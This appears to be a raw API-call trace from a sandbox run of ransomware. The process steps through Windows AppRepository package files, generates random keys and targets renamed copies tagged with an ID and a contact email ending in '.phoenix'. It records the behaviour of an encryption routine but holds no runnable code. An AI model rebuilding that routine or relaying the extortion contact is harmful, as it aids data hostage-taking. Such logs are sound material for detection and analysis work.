	[0262.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.718] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2624) returned 1
	[0262.718] CloseHandle (hObject=0x2f4) returned 1
	[0262.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.719] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0262.752] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.752] CloseHandle (hObject=0x2bc) returned 1
	[0262.752] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.752] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0262.771] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2148) returned 1
	[0262.771] CloseHandle (hObject=0x2bc) returned 1
	[0262.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.772] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.772] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.790] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=960) returned 1
	[0262.790] CloseHandle (hObject=0x2e0) returned 1
	[0262.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.791] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.792] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=28672) returned 1
	[0262.792] CloseHandle (hObject=0x2e0) returned 1
	[0262.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.792] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.792] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.793] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.793] CloseHandle (hObject=0x2e0) returned 1
	[0262.793] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.793] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.793] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3640) returned 1
	[0262.793] CloseHandle (hObject=0x2e0) returned 1
	[0262.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.794] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.794] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.794] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.805] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=992) returned 1
	[0262.805] CloseHandle (hObject=0x2e0) returned 1
	[0262.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.809] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.811] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0262.811] CloseHandle (hObject=0x2e0) returned 1
	[0262.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.811] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.812] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.812] CloseHandle (hObject=0x2e0) returned 1
	[0262.812] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.824] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=3728) returned 1
	[0262.824] CloseHandle (hObject=0x2f0) returned 1
	[0262.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.825] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=32768) returned 1
	[0262.825] CloseHandle (hObject=0x2f0) returned 1
	[0262.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.826] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.826] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.827] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.827] CloseHandle (hObject=0x2f0) returned 1
	[0262.827] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.827] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.829] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=5120) returned 1
	[0262.829] CloseHandle (hObject=0x2e0) returned 1
	[0262.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
